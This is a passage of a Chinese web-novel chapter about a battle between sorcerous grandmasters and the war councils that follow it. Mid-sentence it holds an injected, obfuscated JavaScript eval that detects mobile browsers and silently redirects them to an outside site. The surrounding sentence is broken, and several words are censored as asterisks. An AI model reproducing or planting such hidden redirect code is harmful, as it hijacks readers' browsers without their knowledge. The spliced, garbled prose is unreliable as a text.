然而,还不等韩长眉来到跟前,一名将领早早从旗帜下闪出,恭敬拱手:“韩公见谅,我这就带人撤出去,让开道路请刘总管部属先行。” 说着,便直接挥手,让自己部下往道路另一侧,也就是南面山麓下避让,一时引得路口这里连番抱怨与哄闹。 韩长眉定睛一看,晓得是杂牌将军罗方,便也有些无奈……因为他知道,这厮跟他几个兄弟在军中窝囊的厉害,断不会跟自己梗脖子的,但还是摆手呵斥:“如今我来了,你便要让开道路,之前我不来,为何又抢道?” 罗方愈发将头低下去,言辞诚恳:“韩公见谅,不是我要抢,是我兄弟薛亮,他被划到薛仁大将军麾下,而薛大将军又重伤难起,本部也缺员严重,他是为了让薛大将军先行,才闹了起来,我已经让他撤走了。” 韩长眉更加不好发作了。 毕竟,薛仁也是个奇葩,所谓天子之宠幸、寒门之骤进,还是个打仗不怕死的,这种人躲着便是……真要是重伤状态下在自己跟前有个三长两短,便是今日不反,回去长安也要被拍死。 “要不……”韩长眉迟疑了一下,也不知道是真心还是假意。“让薛大将军先过吧!” “回禀韩公。”罗方依旧低着头。“陛下有旨意,要亲自护送薛大将军过轵关,还要送他去河东老家,显耀于家乡……若非如此,前几日伤员走的时候他便该走了,所以刚刚其实是我弟因为修为低微而焦虑于撤军,不由自主便违逆了旨意……所此时醒悟,断不敢先行的,也请韩公恕罪。” 韩长眉看了眼往道路南侧撤的很远的“薛”字大旗,也有些无奈,更兼心中煎熬,便挥手让对方去了。而罗方免不了千恩万谢,才缓缓离开恢复了通行的道路,沿着庞大营盘与山麓之间的空隙往南侧避让开来。 非只如此,罗方既走,此地反而秩序井然,更是让韩长眉无奈。 难道白白弃了这么好的机会? 要不,算了?! 过了不知道多久,一面旗帜缓缓抵达,赫然是刘扬基,韩长眉不敢怠慢,打马向前迎上,二人就在路北面的高坡上闲聊。 先是问了下战事,打听了一下自己弟弟韩引弓的情况与位置……韩引弓落到最后断后且不说,关键是撤军之顺利……按照刘扬基的说法,得益于陛下的那把极妙之火,全军大部都已经离开营盘范围。 今日撤军应当是无恙了。 “那陛下本人呢?”韩长眉没有关心自己弟弟安危,反而说起了白皇帝,端是一副忠臣姿态。“陛下难道要等到最后吗?会不会有差池?司马正可是一直没动呢!” “正是因为司马正没动,所以才不会有差池。”刘扬基正色安慰道。“韩总管想想就知道了,司马正势弱,怎会让东西俩家其一坍塌?他便是有野心,有想法,也要多经历几次这等事,使双方削弱,使东都人心安稳再说其他。” 韩长眉点点头:“如此说来,陛下是决心要以至尊之身替我们挡在最后了?想我弟也能妥当回来。” 这话刚说完,他忽然觉得哪里不对劲。 刘扬基自然不晓得怎么回事,反而在那里调笑:“你们兄弟竟也兄友弟恭起来了?” 韩长眉尴尬一笑,迟疑了一下,还是指着已经消失不见人影的道路南侧来问:“老刘,陛下既然决心挡在最后,为何还要亲身护住薛大将军?” “薛大将军?哪个……” “薛亮……” “薛亮算个屁的大将军?” “薛亮护送着薛仁抢了道,然后罗方……”韩长眉赶紧将事情转述了一遍。 听完之后,刘扬基愣了一下,然后隔着满满都是人员、车辆的轵关道入口,望着已经看不见人影的道路南侧呆了起来,半晌方才回头:“罗方那四个贼种反了?!还挟持了薛大将军?!” 韩长眉在马上两手一摊,愣是把亲眼看见十二太保马开早早过去的话咽了进去。 刘扬基毫不迟疑,立即从马上腾跃起来,却不是去追那“四个贼种”,那可是一个成丹、三个凝丹,他如何敢追,偏偏薛仁真是白皇帝的心头肉,又如何能不管? 便直奔高台而去。 一刻钟后,白皇帝得知情讯,也是目瞪口呆,然后立即在高台上寻找迹象……罗方一个成丹、薛亮一个凝丹,外加薛仁虽然受伤但也是一个凝丹,且就在身后营盘外围,还有大略方位,依着白横秋的修为如何找不到? 可一察觉之后也是更加惊慌,因为这俩人真的在带着受伤的薛仁往大河畔跑!是真要反! 可是……可是曹林都死那么多年了,你们几个义子,玩什么命呀?!我养了几十年的闺女,也不没见这么孝顺好不好?! 气急之下,白皇帝终于也沉不住气了,其人当空飞起,毫不迟疑扑向已经跑到自己西南侧的罗方一行人。 也就是这个时候,司马正动了。 先是那团宛若太阳的辉光真气闪过,配合着本就南移的太阳照耀了整个河内狭地,然后一个约莫二十丈的金甲巨人彷佛拨开云雾一般出现在了天地之间。 这还不算,巨人一伸手,手中竟然凭空多了一副巨大弓箭,只凌空一箭,直接射向了半空中的白横秋。 巨人显化是要耗费时间的,白横秋当然不会被一击而中,但饶是如此,其人在半空中也怒气勃发,同时本能想到,这是不是就是之前心神不宁的原委所在——罗方这几个贼厮的叛逃会引发司马正的被动参战,自己若再晚几日不走,便会受到两家的全线夹击?! 一念至此,其人不由看向了张行的那面红底“黜”字大旗。 而称不上是可惜还是让人稍微放宽心的是,大旗纹丝不动。 当然大旗不动,有的是人动——随着司马正的显化,整个河内狭地都陷入到了震动之中,二十里方圆内,尚未逃入轵关道的关西军狼狈不堪,原本秩序井然的路口直接陷入到纷乱之中,而隔河作战的两军也明显撑不住,很多骑兵直接打马向西。 很显然,经历了前几次那种作战,没有哪个人还不晓得大宗师的威力,此时这位大宗师摆明车马对关西军发起攻击,几乎是一瞬间便让原本就在紧绷着的大撤退产生了**。 也难怪白横秋会愤怒。 但越是这个时候,越没有发脾气的余地,几乎是在看了张行一眼后,这位大宗师便也毫不迟疑,甚至是尽全力施展了自己的神通,棋盘如网、棋子如凿,兜头朝着金甲巨人扑来——不将司马正制住,连薛仁都救不得! 金甲巨人如何怕他? 随着张行眼皮一跳,那巨人当头化出一杆怕是有四十丈长的银色**,只是一戳,便将宛若天罗地网的棋盘给搅住,然后拍到一侧河堤下,同时脚下不停,闯入关西军大营内,直奔那高台而去。 大营内的人早就走的差不多,而放开手脚的白横秋也没有放弃,棋子几乎如雨点一般砸向对方,却在落在对方身上后直接弹开,若说以卵击石还不至于,却像极了以石击铁,根本无法阻拦。 而随着营地被蹚平,几乎是片刻便让巨人冲到高台之下,然后速度不减,奋力一撞,真真如山崩地裂一般,百尺高台便轰轰然倒塌了,只留下一个二三十丈的底座。 白横秋心都凉了。 无他,这座高台其实是一个标杆,是他倚之起阵的中枢,在一定程度上也代表了他的实力,而司马正显化的巨人可以轻易推倒高台,便意味着他白横秋恐怕不是人家的对手。 这是赤裸裸的**! 数里之外,望着这堪称共工撞不周山一般的奇景,张行依旧坐在那里不动,好像浑不在意,但心里其实也已经麻了……他似乎应该惊讶的,但那是司马正,凝丹时就是凝丹第一,成丹时是成丹第一,宗师了压着雄伯南打,到了大宗师,有这个战力似乎也理所当然;唯独量变形成质变,这厮到了大宗师还这么强悍,已经算是无人可制了好不好? 会真切影响战局的!是需要无数英雄豪杰汇集起来才能应对的! 这不公平! 就在张行坐在条凳上思考人生的时候,高台的倒塌涟漪已经扩展到了整个战场,之前还因为几次战斗稍微有些脱敏的关西军几乎再不能支撑,河对岸的骑军大队当场崩溃,无人再听军令,纷纷打马逃窜。 而他们前方赫然是狭窄的轵关道口。 这种情况,便是白横秋打起精神再度施展神通,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168044|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不能阻止。 面对这一幕,骑军主将白立本痛苦异常,他没有犯任何错,甚至没有人犯错,包括今天的撤退此时来看都没有什么问题,就是低估了司马正嘛,但司马正此时出手,却还是让他部下这些堪称表现优异的骑军莫名其妙成为了代价! 这不公平! 一瞬间,白立本竟然跟张行不约而同起了某种类似的心思,尤其是没有心理准备的前者此时终于明白,为什么,为什么自古以来的豪杰会厌恶四御真龙的干涉了。 这种伟力在自己一方,或者双方齐平的时候,还能坦然,可出现在对面的时候,就会让人迅速醒悟。 混乱是全方位的,停在轵关道入口的韩长眉也不能支撑,什么本钱、什么机会此时全都不想了,也没法想,因为他握在手里尝试控制局的三队甲士包括他的亲卫已经被人流冲击着进入到了狭窄不可回头的轵关道内。 而在望了一眼倒塌高台处的金光巨人后,韩长眉一声长叹,带着最后十几骑加入到了撤退行列中。 还不忘沿途努力恢复秩序。 另一边,几十里外的徐世英倒来不及反思,反而大喜过望,他真没想到峰回路转之下,会有如此意外变化!而黜龙军大队也在他的催促下继续向西追击,甚至分出了三个营尝试反向渡河去攻击韩引弓占据的河内郡城。 当此局面,韩引弓彻底崩溃,怎么就一下子全都跑光了,只剩他一个呢?!欺负他和他的兵马都在城里不好跑是不是? 关键是,现在降,没有任何功劳,反而只有旧怨,会不会连命都不能保呀?! 正想着呢,却见河对岸一面紫色巨幕忽然腾起,一时心惊,便准备掉头从沁水内侧出城逃窜,可刚到这边城墙上,却又望见此战几乎算是窝囊透顶的黜龙军骑兵大队已经越过熄火的前营,又从这一面兜了上来! 韩引弓颓丧而不能定,只好遣心腹出去,与当面那个姓刘的大头领做商议。 张行端坐在条凳上,望着前方金甲巨人和在巨人身侧花里胡哨的线条、球块,似乎是在观战……也的确是在观战,只不过他观察的范围非常之广,这是他的习惯和天赋。 他当然不能细致的察觉到整个战场各类人的喜怒哀乐、动作举止,可是,当那个高台坍塌后,却足以察觉到除了金甲巨人周边整个战场的形势……哪支敌方的部队在消散失序,哪支自己的部队被堵塞难行;哪个敌将进退失据,哪个黜龙军头领越众出击……他都知道。 但是,最引人瞩目的,还是眼前的战局。 司马正根本就是在戏耍已经怒火攻心的白横秋,很明显在等待着什么;白横秋明知道不能成功还要尝试,很显然也是有理由的……而很快,一刻钟往上,两刻钟不足,随着张行注意到一个成丹带着两个虚弱的凝丹沿着河堤连续腾跃抵达河阳城下时,金甲巨人忽然甩开了白横秋,向着沁水方向而去。 张行等人几乎是条件反射一般,即刻在小丘上结阵,但还是不够快,司马正只是一个人而已,几乎是轻易的越过营寨,抵达沁水,然后越过沁水……等到张行这边真气弥漫起来的那一刻,前来阻挡的巨大紫色幕布已经被巨人当空抓住,拍在地上了。 等张行这边结阵后刚刚成了点形状,金甲巨人更是冲入黜龙军主力行进道路上,挥舞起之前一条长刀,如巨灵神一般奋力横扫。 一时间,所当的黜龙军损失惨重,更重要的是他们追击的进程被完全打乱。 当然,也就是如此了,废弃倒塌的高台上,一只双翼铺开近七八十丈、抬起头高低四五十丈的双翼四足金色巨龙落在此间,挡在了司马正回归河阳的路上……张行甚至没忘记他的条凳,他将条凳放在废墟之上,然后继续坐着来看对面的金甲巨人。 双方对峙片刻,效果就已经很明显了,黜龙军没有再遭遇伤亡,可是追击的进程完全被打断,徐世英在后面后槽牙都快要掉了,他能感觉到自己丹田内的真气在鼓动,感觉自己身体周遭的真气在跃跃欲试,可就是跳不出来。 很显然,这就是司马正的目的。 他隐忍了一个多月,从大局而言,只要东西两家相互损耗,而东都成功守过去,便已经算是战略目的达成了,而此番出手,固然是为了**,是为了接应眼下于东都势力而言珍贵莫名的反水将领,但也绝不愿意打破平衡,让关西军损失惨重。 所以,接应成功后,他反而开始阻挠黜龙军追击。 过了好一阵子,日头渐渐西斜,也不晓得轵关入口处到底趁机逃窜了多少英军,忽然间,有人放弃了对峙——之前撤退到西面山麓前的白横秋猛的启动,往河阳城而去! 他这一动,司马正自然不能忍受,金甲巨人手中长刀散去,取而代之的是一柄更长的**,然后便往当面的金色巨龙而来。 这还不算,居然跨过沁水,每迈开一步,真气凝结的身形都在扩大,逼到跟前时,已经有了三四十丈高矮,**长度更是难以计量。 早已经熟稔的两位宗师和数百踏白骑立即行动起来,秦宝与尉迟融自两侧铺展,金龙自然腾翼,与此同时,龙尾远远便高高举起,则是魏文达潜身其中,准备格开那支**,而牛河则立在高台下方废墟中,长生真气如匹练一般在周边反复回转,使金龙双足与下腹稳稳顶住了高台废墟。 河对岸,紫色幕布也再起,明显是雄伯南要尾随攻击。 而张行望着前方冲锋而来的巨人,面色严肃,却还是端坐不动,似乎是想看清楚对方的虚实一般。 须臾,巨人跨河而来,夸张的**先到,破空之声宛若霹雳,巨人动作更是引发风雷之啸……但金龙的动静丝毫不弱于对方,龙尾一甩,登时变为十余丈长的黑色巨刃,便将**拍散。 好像,好像之前那夸张的**是个样子货一般! 但金甲巨人丝毫不在意,也没有继续幻化武器,乃是径直扑到真龙胸前,张开双臂要来撕扯真龙脖颈,但早已经展开的真龙双翼带着两个前肢后发而至,将巨人双肩压住,也要撕扯,引得巨人不得不双臂撑开去抓龙爪。 两个神话般的生物,似乎要上演一场肉搏大战,就像那些百族时代的传说一般。 但不是这样的。 黜龙帮首席张行坐在条凳上,扶着腰中弯刀,望着前方巨人,只觉得寒毛直立。 非只是他,河对岸的徐世英似乎也察觉到什么,几乎是不顾一切“腾跃”起来,往这边战场而来。 下一刻,张行知道自己面对的是什么了——辉光真气凝结的巨人还在与同源真气的真龙角力时,并未着甲的司马正本人竟然弃了那庞大如斯的躯壳,一人一剑冲破庞大的真气外层,钻入金龙内里,并直奔高台废墟上端坐之人而来。 旁边牛河想要动作,却惊讶发现自己浑身真气根本牵扯不开,就好像通过金龙反过来被那巨人压住一般,只能眼睁睁看着司马正跃上高台,冲到张行之前。 两人没有多余交流,身遭并无半点真气的司马正临到跟前,挥剑就砍! 张行端坐不动,提起手中弯刀便来格挡! 司马正见对方还能行动,明显惊讶,却不耽误他二度挥剑来刺。 张行依然坐着不动,只是再度格挡……不是说他到了这个份上还要维持风度,而是他有预感,自己一旦起身离开或者挪动条凳,那么由自己显化的这条金龙便要支撑不住,当场散开,到时候自己依旧会任人鱼肉不说,踏白骑也要死伤累累。 只不过,既然是坐着格挡,这第二挡,虽然也挡上去了,却明显乏力,再加上是因为对方是刺击,所以长剑一滑,直接点到张行肩头。 甲胄起到了一定作用,但还是稍微刺破了肉体,产生了一种很难描述的刺痛感,跟真正的皮肉伤不是一个感觉。 司马正没有半点迟疑,第三次举起长剑,却没有直接落下,反而利用对方无法起身的姿态转到张行侧后方,然后朝着对方脖颈甲胄的缝隙砍去。 张行弯腰低头,将弯刀递上,第三次挡住对方。 这一次,司马正没有再撤回长剑,而是居高临下,将长剑一别,别的弯刀刀刃也跟着向下滑开,再双手握柄奋力一压,便推着弯刀去切对方脖颈。 张行奋力反抗,却还是不能阻止弯刀缓缓侵入……这种情况,似乎下一瞬间,弯刀便会脱手,有人就会脖颈断裂。 但忽然间,司马正明显身形一滞,长剑上的力气也明显一落。 张行低着头,不耽误他察觉到原委——雄伯南的紫色巨幕已经自后方追上,虽不晓得此间事端,却还是裹住了外面巨人一个手腕,使得金甲巨人落入下风,恐怕这正是司马正来到这里后如此急切**的缘故。 稍微有了些自恃,不顾自己还被人用刀剑挤着脖颈,张行旧病复发,竟然当场歪着头来笑:“司马二郎,哪来的这番怨气?!” 司马正闻言,非但没有和缓,反而明显被激怒,手上力气也重新加大:“张三郎,你以为你有天命在身,便万事顺理成章吗?便一定能活吗?!” “我们黜龙帮的天命是自己争来的!是万事顺理成章方才有的天命!”张行继续来笑。“倒是你司马二郎,眼下之处境,明明是你自甘如此,却还是怨恨天命,岂不可笑?!” 司马正似乎是晓得口舌之上争不过对方,干脆腾出一只手绕过对方脖颈,然后捏住对方刀背继续切入。 张行一时间被勒得喉结发痒,气息粗重,当然也不能开口再嘲讽了。 看的出来,司马正早就留意雄伯南,之前一过河便做了针对,以至于现在雄天王是带伤协助,并不能真切改变战局。 只不过,黜龙帮如今规制,哪里又只有一个雄伯南呢? 忽然,一只只有十余丈的青色蛟龙自北面飞来,抵达跟前后,一口咬到外面巨人腰间,司马正一个趔趄,惊骇去看,才发现黜龙军竟然又多了一位材质卓绝的宗师,而这位宗师在自己刚刚渡河时分明尚未显化! 这还不算,张行既然一时脱困,且依旧端坐条凳,却不耽误他不顾一切利用徐世英争取来的机会侧身来刺敌人。 司马正跳开闪过,刚要动作,外面的青蛟复又游到外面巨人腹部,然后又是一口……这下子,司马二郎到底认清了现实,只是愤愤一剑掷出,只斫到对方所坐条凳一角,眼瞅着一块木头随着长剑掉下,便转身赤手向着大河方向而去。 张行依然不能离开条凳,却不耽误他回头教诲:“司马二郎,你若想脱困,先得不恨这天地人才行!我都不恨!” 可惜,司马正既从另一侧脱出构筑金龙的真气外层,身后相隔着的金甲巨人登时便也消散,而且不是凭空消散,乃是浓烈如实质的真气如雷鸣、地震一般轰轰然落地,继而缓缓散开。 这动静,把张行的话给遮盖的齐齐整整。 司马正既脱身而走,临到河阳城边,竟然再起金甲巨人如故,彷佛之前未曾消散过一般,白横秋见状,恨恨不已,也只好转身离开,去往轵关道亲自押后如故。 张行这边赶紧散了金龙显化,然后驱散了徐世英、雄伯南等人,只按着自己肩颈上的伤口,端坐如故,一直到天色转暗,委实不能再扩大战果,各部鸣金收兵,这位首席方才撤离。 回到温城,众将汇集,准备点验战果,徐世英刚把韩引弓提上来,准备交给张行裁决,却不料,封常自外面闪入,说是马围马分管有请张首席。 张行吓了一跳,只说让徐世英和雄伯南自行主持这些事情,自己便匆匆去了。 来到马围养病的地方,见到对方虽然还是气色不佳,但到底呼吸顺畅,动作稳当,心里这才放下来……毕竟嘛,马围这里还有几位长生真气的高手轮番帮忙养着,哪里就能**? 只是这厮生活习惯太差,又对战事过于焦虑,所谓日思夜想、殚精竭虑,这才病倒。 “首席。”马围见到张行过来,反而显得焦急。“关西军撤退,你有什么打算?” 张行当然不会跟自己的参谋长卖关子,当即来到榻沿坐下,然后道出自己想法:“我的意思很简单,之前是他们主动开战,我们被动应战,而现在他们要撤,我们却没道理回去枯坐……咱们该继续打下去!” “正是此意!”马围长松了口气,然后努力来言。“正是此意! “首席,这一轮碰下来,双方虚实其实已经很清楚了,大英没他们想的那般强,可也没有那么弱,现在是我们占了便宜,他们明显受损,却没有动摇根基,所以一定要咬住他们不放,让他们没法休整,只能持续损伤直到根基动摇为止; “至于东都,听说今天司马正大显神威,连首席都差点受伤,可越是如此,越说明他们只是倚仗司马正,下面的根基、实力还是最弱的一个,所以应该持续压迫他们,而且应该主动避开司马正,去削弱他们的根基; “更不要说,还有南北两线,尤其是北线,估计也要动了,就更要主动出击,把视线吸引走…… “所以首席……咱们换战场,去河南,走淮西夺取南阳,尝试打通荆襄!且看他们敢不敢放任!” “好!”张行点点头,俨然早有考虑。“正有此意,而且这一次你跟徐大郎、雄天王都不要着急动,徐大郎整编部队,你和天王则要保养身体,南阳那边攻心为上,我一个便可主持妥当……等你们休整好,咱们再从北面发起攻击!” 马围还要说什么,张行直接摆手:“我意已决,是绝不会让自己的参军活活累死的。” 马围只能喘了口粗气。 当夜,黜龙帮首席张行下令,斩韩引弓,传首河南;又,全军撤离河内,各营士卒邺城休整半月,归乡过年。 PS:感谢37天下无双老爷对绍宋十二个盟的打赏,也感谢新盟主半生戎马付西川的上盟,六子战战兢兢,如履薄冰,祝大家今年发大财! 推荐大家看百世经纶新书《福禄天师》,一本轻松有趣的现代仙侠文,更新稳定,品质有保证! 第九十章 风霜行(9) 十一月中旬,黜龙军大军折返,尚未抵达魏郡,便遭遇到了今年的第一场雪。 雪不大,而且在这之前地面就已经微微发硬,倒是没有阻碍交通……实际上,黜龙军大队冒雪归来,军中士气反而高涨,沿途多有歌颂。 真的是歌颂……一会唱“河北雪花大如手”,一会唱“嗟嗟烈祖观功业”,一会见到张行骑着黄骠马路过,还要改个词,唱“三辉四御有成命,正要首席做至尊”。 哎呀呀,气氛好的不得了。 随行的封常、许敬祖这些有文化的,都准备记录下来,当成某种祥瑞了。 来到邺城,更有魏玄定、陈斌、柴孝和等留守龙头带领大行台与邺城上上下下一起出来迎接加劳军。 黜龙帮不尚风华,或者说普遍性出身低微,统一河北前没几个人懂那些,倒省了许多事情……一如既往的简单仪式,然后便是廊下食。 胜利之后,没什么比大吃一顿更合适了。 军士们分营,将整猪整羊和整坛的酒领回去,就在预设好的营地内杀猪宰羊且为乐起来,各营主将与提供这些猪羊酒的屯田部屯将、仓储后勤部吏员也都留在营中与本营士卒一起享用;而大行台也在城南的大铁坊外搭棚开席,宴请归来的大行台直属文书、参军们……唯一的要求是,必须坚持廊下食的基本原则,也就是露天公开平等饮食,以示无私与公正。 酒过三巡,气氛变得非常好,毕竟嘛,说一千道一万,这次对撞之前黜龙帮上下还是有些心虚的,很多人虽然心里猜度是没问题的,甚至觉得必胜的,可还是心虚。 现在好了,碰一次,没吃亏,回身吹一个连战连捷,再加上黜龙军日益强大的根基,此涨彼消,不出三五年,这天下不就在眼前了吗? 气氛能不好吗? 只不过,也不晓得是不是封常这类人早就摸透了张首席的脾气,竟无人敢当众**,也无人搞什么**暗示,让魏玄定立即让出国主位置来,甚至没有人吟诗作赋以作夸耀! 着实可惜。 “昔我往矣,杨柳依依。 今我来思,雨雪霏霏。 行道迟迟,载渴载饥。 我心伤悲,莫知我哀!” 张行举起杯来,也不用真气,就是大声当众吟诵了一首看起来挺合时宜的短歌,一时间只有周边黜龙帮高层能听得清楚。 这歌当然合乎时宜,讲的就是出征归来,而且也的确下雪了,时宜两个字算是到头了。 吟诵完毕,一口酒下肚,就更妙了。 “首席不是一月内三次大捷,逼退对方得胜归来吗?如何就悲哀了?”眼瞅着张行放下酒杯,就在旁边桌子上的魏玄定这才皱眉捻须来问。“况且,是我们后勤供给的不足吗?如何又饥渴起来?而且首席走的时候也不算杨柳依依吧?” 不止是魏玄定,在座几位龙头和大行台的总管、分管们也都停箸紧张来看。 “老魏这就是不懂文学了。”张行带着三分醉意摆手来笑。“杨柳依依是夸张,是为了跟雨雪霏霏对照,你根本不晓得文人为了对仗能硬编什么东西……至于说饥渴、悲哀,也不是说我们,而是从士卒,乃至于士卒家人的角度来言……于他们来说,战争这个事情总是危险的,哪怕是不停大捷,可只要继续打仗,也可能会毁家灭身,所以一月三捷,也要我心悲哀;相对应的,哪怕是后勤妥当,猪羊酒面俱全,也比不上家里的老婆孩子热炕头再兑上一碗面疙瘩汤,所以是说回家之路‘迟迟’与‘饥渴’。” “这倒是情真意切了。”听着张首席的硬掰扯,魏玄定也只能拢起自己制式黑色冬衣的袖子幽幽一叹。“怪不得首席能做首席……打完了胜仗就立即想到这个,寻常人哪能往这里想?” 张行摇头不止,也不知道是真喝多了还是没听懂魏国主的阴阳怪气:“不是这个意思……我是因为马上还要打仗,路上又见他们因为要回家过年高兴,到处唱民谣,方才想到这个……你们几位在后方,恰是前方的支柱,这些事情上真的要上心。” “确实。”陈斌也肃然起来表态。“这一仗早着呢,只怕来年一开春就要再打!而且不止是咱们这里,北面也要开始了……首席接到密函了吧?” “自然。”张行点了下头,复又摇了下头。“但我说的不是来年,也不是北方,我是说马上……我准备即刻南下,带领河南诸军攻打南阳。” 周围沉默片刻,留守三位龙头注意到随军几位的表现,立即意识到来的路上这些人便已经讨论过此事,而且已经自行通过了,气氛自然显得有些微妙起来。 “首席的意思是,若非需要来邺城走一遭,哄一哄关西和东都的人,安抚一下河北人心,否则当时就要直接渡河的。”雄伯南扶着双膝在座中肃然解释道。“南面战场的人选也定了,我跟徐副指挥、马分管都留下养伤,安抚、重整河北部队,柴龙头南下总揽后勤,与单龙头、伍龙头他们一起辅佐首席……至于魏公跟陈总管,坐镇邺城总得靠你们,委实没法动。” 柴孝和便要起身拱手,而陈斌则继续来问:“这样的话,此番南下会不会人手少一些?” “不至于。”徐世英端着酒杯道。“南下的时候牛公跟魏大头领都会一起去,更关键的是南下战场开阔,淮西与南阳诸将态度暧昧,外交与**许诺才是最重要的,而首席素来擅长此类事,多一个少一个其实并不碍事。” 陈斌点了下头,他刚刚发言其实只是出于大行台文书总管的本能,担心事情会超出自己的认知,现在确定事情确实很急促,不是这些军前任用的龙头要故意对他们这几个留守邺城的龙头做遮掩,便也无话可说。 至于张行对他权力的侵犯,陈斌倒是没有多余想法……非要说这个,只怕佩着泰阿剑的陈总管一直觉得自己是在为张首席防备那些人呢。 “此外。”徐世英继续旋转手中酒杯笑道。“我刚刚在河内那里证了宗师,再带着我不划算……现在回头想想,首席之前为了让我锻炼,一意沉默,也是憋屈了不少,河南的事情,还是让首席肆意为之吧。” “不错,不错!”张行难得张扬起来。“也该我再出些风头了。” 首席如此姿态,刚才猛的一惊的陈斌也只能胡乱点头,魏玄定则无声斟酒自饮,倒是柴孝和终于找到机会拱手行礼了,将事情应承了下来。 十一月中旬,邺城下雪了。 但反而变得格外热闹了。 先是担心凌汛的部分河南籍贯的军士纷纷南下,提前归乡,军功点验暂时没法覆盖到他们,可只是走前拿着这几个月积攒的军饷搞大肆采购红头绳跟牛犊子,就已经让邺城车马纷纷了。 河南人着急回家,河北人就不急了,在张首席的直接关心下,河北的军功点验复核立即展开,而不止是战斗人员,参军、文书、地方官,甚至部分表现突出的民夫也都得到了嘉奖。 与此同时,依然是在张首席的直接关心下,例行的相亲会以及祭奠牺牲的追悼会竟然也同时展开。 这使得那些最突出的,也就是被指定为“战斗英勇”、“军功卓著”,最先得到此次战斗表彰鲸骨牌和升迁机会的河北籍贯年轻人,往往是上午刚刚参加完相亲会,下午就去追悼会,转头第二日一早就拿到了新的任命文书。 然后,就要考虑腊月过年和婚姻前程了。 没办法,这就是战争年代下新兴政权的特色。 可以想见,这种生死、慌乱、结合、离别、成长挤在一团的过程还会持续一段时间。 也就在这么一片生机勃勃万物竞发之态里,在一切都熙熙攘攘着往着年关而去的好时节中,张行张首席忽然就离开了邺城。 走这么急是有原因的,首先是凌汛已经有迹象了,再不走,大队兵马连浮桥都难过……没错,张行不可能真的一个人走,柴孝和不说,这次立有大功的何稀也要随行,他学生冯端的那个土木营也要带走;因为河南缺骑兵,之前退往平原一带驻扎的几个骑营也专门挑出来刘黑榥、张公慎两个营带着过了河;包括更熟悉淮西地区的阚棱义子军,此行既有打通南阳的旗号,也不可能不去;王雄诞营因为是张行亲兵,加上多是河南人,也愿意去……总之,零零总总,包括踏白骑在内,说是不去,最后还是去了足足万把人。 其次,自然是邺城这里确实气氛很热烈、局势很安稳,后面从晋地冒出来的偏师也早被大司命给吓回去了,算是没有了后顾之忧。单就从张行个人感觉来说,这一个多月的战事后,可能邺城变化最大的就是他这个身体的小外甥……小孩子长得极快,已经能简单对话了;印象深刻的政务也只有一件,那就是欧阳问申请人手,准备收集各地的志怪神异,建立文档。 而既然没有后顾之忧,还有什么可犹豫的呢? 那就走呗! 坦诚说,张首席走的这么匆忙,哪怕是没有公开成行,却还是引发了一些**动荡……一个不太好确定规模的流言暗示,张首席这么急着走固然是军情需要,但也有为了逃避召开年前例行大会的意味。 毕竟嘛,只要不开大会,那么按照战时的规矩,他这个首席就可以为所欲为,今日暂署一个大头领,明日建个御史台,后日调任一个总管啥的,谁也没办法,而更妙的是,等到这些事情积攒的多了,自然就会跟战事纠葛在一起,等到战事结束时搞一揽子追认时,根本无人能反对。 倒似乎也有些道理的,只是张首席注定听不到了而已。 十一月廿六日,张行自四口关渡过了大河,抵达东境。 而一直到了这一天,理论上军事水平更高的李定,竟然还没有渡海。 可即便如此,李龙头也没遭遇什么**流言,道理再简单不过,毕竟是跨海征伐,毕竟北地和巫地在全天下的最北面,而现在偏偏又是一年最冷的时候,那么任何军事行动都应该准备的更充分……甚至,不是有快马急报,说是张首席那边成功得胜回到邺城去了吗? 那是不是就不用这么着急跨海了? 当然不是。 结了婚的苏靖方并没有因此陷入思维上的迟钝,作为李定最亲密的学生兼下属,他自问非常了解自己的老师……自然条件越恶劣,就意味着在物资和组织度上处于劣势的巫族越容易打,就更容易在短时间内击垮对方,相对来说,自己这一方因为自然条件引发的减员,于自己这位老师来说,怕也就是个数字。 所以,李定李龙头一定是在等待什么,或者说是在犹豫要不要做什么。 不过很快,军令下达,若廿七日一早若无风浪,便即刻发兵,而廿六日晚间,李龙头将于苦海畔的落日堂召开晚宴,所有头领以上军官文武一并赴宴,做进军前的最后饯行。 这倒似乎无需多想了。 廿六日下午早早开宴,赫然还是廊下食。 没办法的。 这个廊下食,基本上都是最简单米面肉蛋凑成的菜式,少数会有一些酒水,而且几乎每桌都一样,甚至不分主次排列,还要最起码相互之间不做遮蔽……若是让十几年前的东都贵人们看到一定会笑话,但是伴随着黜龙帮-大明政权的确立与稳固,这种官方最高层坚持下来的东西,反而会成为民间的追捧。 甚至河北、河南、北地一些明显有传承的酒楼、大店也都做了改变,增加了许多常见份菜,设计了新的大堂与楼上开间。 至于军中和地方署衙,更是视之为一种**表达与传统,平素不敢不用的。 宴会本身没大问题,大家吃吃喝喝,畅想一下未来,吹嘘一下战力,展示一下伤疤,气氛总体不错,唯一的问题出在不知道是不是恰好十几年前属于东都人上人的李定李龙头身上——苏靖方开席不久就确定了,自己这位恩师确实心里有事,以至于多次走神。 所以,这场宴会应该会有波折。 只是,这厮到底有什么事情需要瞒着自己这个好学生呢?苏靖方不免有些警惕起来,不由自主的捏了下刚刚蓄了几个月的胡子。 酒过五巡,忽然间,一个熟悉的将领站起身来,踉跄到大堂中央,捧着酒杯高声来言:“属下为战帅贺!终于得偿所愿,领十万众横行天下!” 众人放眼去看,赫然是王臣愕……此人固然是李定嫡系,是起于武安的本土大将,但之前卷入了一些不好的传闻中,此番还能领兵,依旧保持头领待遇,自然是因为李龙头在张首席跟前一力保举。 那么此番单独称贺,既是气氛到了,也是个人有些情绪激发,属于理所当然。 